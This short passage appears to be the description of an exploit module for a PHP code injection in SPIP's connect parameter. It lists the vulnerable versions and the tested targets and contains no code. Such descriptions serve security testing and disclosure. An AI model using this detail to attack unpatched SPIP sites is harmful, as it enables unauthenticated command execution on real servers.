|
|
This module exploits a PHP code injection in SPIP. The vulnerability exists in the
|
|
connect parameter and allows an unauthenticated user to execute arbitrary commands
|
|
with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions
|
|
are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and
|
|
has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu
|
|
and Fedora linux distributions.
